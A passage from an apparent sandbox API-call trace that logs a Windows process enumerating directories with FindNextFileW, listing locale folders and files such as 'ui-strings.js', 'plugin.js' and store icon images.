ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0190.072] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.072] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0190.072] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.072] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0190.073] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.073] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0190.073] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.073] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0190.073] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.073] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0190.073] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.073] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0190.073] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.073] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0190.073] FindClose (in: hFindFile=0x4531e80 | out: hFindFile=0x4531e80) returned 1 [0190.250] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0190.251] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f85, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0190.251] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0190.251] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0190.251] FindClose (in: hFindFile=0x4531c40 | out: hFindFile=0x4531c40) returned 1 [0190.251] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0190.251] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="scan-files", cAlternateFileName="SCAN-F~1")) returned 1 [0190.252] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0190.252] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0190.255] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0190.255] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb802d9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb802d9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb802d9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x13362, dwReserved0=0x0, dwReserved1=0x0, cFileName="appstore.png", cAlternateFileName="")) returned 1 [0190.263] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0190.263] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb802d9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb802d9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x129ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="playstore.png", cAlternateFileName="PLAYST~1.PNG")) returned 1 [0190.264] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0190.264] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb802d9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themeless", cAlternateFileName="THEMEL~1")) returned 0 [0190.264] FindClose (in: hFindFile=0x4531dc0 | out: hFindFile=0x4531dc0) returned 1 [0190.264] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0190.264] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0190.265] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0190.265] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0190.267] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0190.267] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0190.268] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0190.268] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0190.269] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0190.269] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0190.271] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0190.271] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0190.271] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0190.271] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0190.272] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0190.272] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0190.272] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0190.273] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0190.274] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0190.274] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0190.275] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0190.275] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0190.277] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0190.277] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0190.278] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0190.278] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0190.282] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0190.282] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0190.282] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0190.283] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0190.284] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0190.284] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0190.285] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0190.285] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0190.285] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0190.286] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0190.288] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0190.288] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0190.289] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0190.289] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0190.290] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0190.290] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0190.290] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0190.291] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0190.292] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0190.292] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0190.294] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0190.294] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0190.295] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0190.295] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, 